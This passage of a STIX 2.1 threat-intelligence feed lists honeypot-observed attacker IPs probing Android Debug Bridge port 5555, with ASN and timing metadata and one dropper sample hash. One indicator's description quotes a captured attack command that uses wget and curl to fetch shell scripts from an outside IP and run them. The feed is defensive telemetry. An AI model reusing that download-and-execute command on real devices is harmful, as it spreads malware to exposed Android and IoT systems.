          "event_count": 5,
          "first_seen": "2026-03-20T02:58:14.000Z",
          "last_seen": "2026-03-20T02:59:20.049Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "20473"
          ],
          "org": [
            "The Constant Company, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=SG; asn=20473; asn_org=The Constant Company, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-20T02:57:41.000Z | last_seen=2026-03-20T02:58:49.201Z | ports=5555 | cc=SG | asn=20473 | org=The Constant Company, LLC",
      "id": "indicator--85ffd48a-7ddf-416e-bcad-40ee909c8efe",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.32.125.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T03:00:03.000Z",
      "valid_until": "2026-04-21T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-20T02:57:41.000Z",
          "last_seen": "2026-03-20T02:58:49.201Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "20473"
          ],
          "org": [
            "The Constant Company, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T04:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=41; ports=5555; cc=SG; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=51 | first_seen=2026-03-20T03:53:17.000Z | last_seen=2026-03-20T04:07:59.838Z | ports=5555 | cc=SG | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--97552828-76a1-4875-ae66-0b4df2a8ec07",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '157.230.41.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T04:00:04.000Z",
      "valid_until": "2026-04-21T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 51,
          "first_seen": "2026-03-20T03:53:17.000Z",
          "last_seen": "2026-03-20T04:07:59.838Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T04:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-20T03:45:51.000Z | last_seen=2026-03-20T03:46:52.716Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--af1b0433-289e-4e29-a54c-d5d827de0736",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T04:00:04.000Z",
      "valid_until": "2026-04-21T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-20T03:45:51.000Z",
          "last_seen": "2026-03-20T03:46:52.716Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T04:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=41; ports=5555; cc=SG; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=51 | first_seen=2026-03-20T03:53:17.000Z | last_seen=2026-03-20T04:07:59.838Z | ports=5555 | cc=SG | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--97552828-76a1-4875-ae66-0b4df2a8ec07",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '157.230.41.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T04:00:07.000Z",
      "valid_until": "2026-04-21T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 51,
          "first_seen": "2026-03-20T03:53:17.000Z",
          "last_seen": "2026-03-20T04:07:59.838Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T04:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-20T03:45:51.000Z | last_seen=2026-03-20T03:46:52.716Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--af1b0433-289e-4e29-a54c-d5d827de0736",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T04:00:07.000Z",
      "valid_until": "2026-04-21T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-20T03:45:51.000Z",
          "last_seen": "2026-03-20T03:46:52.716Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T05:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=22 | first_seen=2026-03-20T04:11:43.000Z | last_seen=2026-03-20T04:23:09.537Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--cc7d0f4b-8119-4cff-b155-e178271f306a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T05:00:03.000Z",
      "valid_until": "2026-04-21T05:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 22,
          "first_seen": "2026-03-20T04:11:43.000Z",
          "last_seen": "2026-03-20T04:23:09.537Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T05:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=22 | first_seen=2026-03-20T04:11:43.000Z | last_seen=2026-03-20T04:23:09.537Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--cc7d0f4b-8119-4cff-b155-e178271f306a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T05:00:03.000Z",
      "valid_until": "2026-04-21T05:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 22,
          "first_seen": "2026-03-20T04:11:43.000Z",
          "last_seen": "2026-03-20T04:23:09.537Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T06:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=HK; asn=4760; asn_org=HKT Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=25 | first_seen=2026-03-20T05:05:14.000Z | last_seen=2026-03-20T05:22:56.748Z | ports=5555 | cc=HK | asn=4760 | org=HKT Limited",
      "id": "indicator--959902a5-c46d-4a8a-bd64-fd99122cda53",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '203.218.95.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T06:00:03.000Z",
      "valid_until": "2026-04-21T06:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 25,
          "first_seen": "2026-03-20T05:05:14.000Z",
          "last_seen": "2026-03-20T05:22:56.748Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "4760"
          ],
          "org": [
            "HKT Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T06:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=HK; asn=4760; asn_org=HKT Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=25 | first_seen=2026-03-20T05:05:14.000Z | last_seen=2026-03-20T05:22:56.748Z | ports=5555 | cc=HK | asn=4760 | org=HKT Limited",
      "id": "indicator--959902a5-c46d-4a8a-bd64-fd99122cda53",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '203.218.95.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T06:00:03.000Z",
      "valid_until": "2026-04-21T06:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 25,
          "first_seen": "2026-03-20T05:05:14.000Z",
          "last_seen": "2026-03-20T05:22:56.748Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "4760"
          ],
          "org": [
            "HKT Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T09:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=US; asn=8075; asn_org=Microsoft Corporation; cats=Detection of a Network Scan; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=25 | first_seen=2026-03-20T08:44:50.000Z | last_seen=2026-03-20T08:57:28.129Z | ports=5555 | cc=US | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--e4508a67-8b22-47aa-812e-e7666705fc98",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '20.64.104.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T09:00:03.000Z",
      "valid_until": "2026-04-21T09:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 25,
          "first_seen": "2026-03-20T08:44:50.000Z",
          "last_seen": "2026-03-20T08:57:28.129Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T09:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=US; asn=8075; asn_org=Microsoft Corporation; cats=Detection of a Network Scan; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=25 | first_seen=2026-03-20T08:44:50.000Z | last_seen=2026-03-20T08:57:28.129Z | ports=5555 | cc=US | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--e4508a67-8b22-47aa-812e-e7666705fc98",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '20.64.104.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T09:00:03.000Z",
      "valid_until": "2026-04-21T09:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 25,
          "first_seen": "2026-03-20T08:44:50.000Z",
          "last_seen": "2026-03-20T08:57:28.129Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T10:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0; cmd=\"cd /data/local/tmp/; busybox wget http://121.37.40.52/w.sh; sh w.sh android.exploit; curl http://121.37.40.52/c.sh; sh c.sh android.exploit\"\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-20T09:41:52.000Z | last_seen=2026-03-20T09:43:43.152Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--9001387d-530d-4cb4-9e40-b78c16edab8d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '142.93.6.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T10:00:03.000Z",
      "valid_until": "2026-04-21T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-20T09:41:52.000Z",
          "last_seen": "2026-03-20T09:43:43.152Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T10:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/cf1320b7b2f57c565d6248a760bbf34b0c69341b65a080938b12df88e061077c.raw; last_seen=2026-03-20T09:42:18.402Z",
      "id": "indicator--339af304-3db0-4ee5-b463-f43f91e1b871",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = 'cf1320b7b2f57c565d6248a760bbf34b0c69341b65a080938b12df88e061077c']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T10:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T11:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=CN; asn=9808; asn_org=China Mobile Communications Group Co., Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-20T10:38:30.000Z | last_seen=2026-03-20T10:48:33.992Z | ports=5555 | cc=CN | asn=9808 | org=China Mobile Communications Group Co., Ltd.",
      "id": "indicator--7432728f-9826-4fb9-9db8-d501d0f8a8f9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '112.28.245.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T11:00:05.000Z",
      "valid_until": "2026-04-21T11:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-20T10:38:30.000Z",
          "last_seen": "2026-03-20T10:48:33.992Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "9808"
          ],
          "org": [
            "China Mobile Communications Group Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T11:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=9808; asn_org=China Mobile Communications Group Co., Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-20T10:38:28.000Z | last_seen=2026-03-20T10:39:31.485Z | ports=5555 | cc=CN | asn=9808 | org=China Mobile Communications Group Co., Ltd.",
      "id": "indicator--9a3d7368-13fc-4d69-b743-b95534e4de85",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '112.28.245.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T11:00:05.000Z",
      "valid_until": "2026-04-21T11:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-20T10:38:28.000Z",
          "last_seen": "2026-03-20T10:39:31.485Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "9808"
          ],
          "org": [
            "China Mobile Communications Group Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T11:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=PT; asn=21859; asn_org=Zenlayer Inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-20T10:13:11.000Z | last_seen=2026-03-20T10:23:22.099Z | ports=5555 | cc=PT | asn=21859 | org=Zenlayer Inc",
      "id": "indicator--f46d730b-99c1-42f8-82f4-5ec2d2ba9c1e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.226.197.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T11:00:05.000Z",
      "valid_until": "2026-04-21T11:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-20T10:13:11.000Z",
          "last_seen": "2026-03-20T10:23:22.099Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PT"
          ],
          "asn": [
            "21859"
          ],
          "org": [
            "Zenlayer Inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T11:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=PT; asn=21859; asn_org=Zenlayer Inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-20T10:10:55.000Z | last_seen=2026-03-20T10:11:57.216Z | ports=5555 | cc=PT | asn=21859 | org=Zenlayer Inc",
      "id": "indicator--96e4de45-ed19-4e26-9ab1-e7ee95d5dec9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
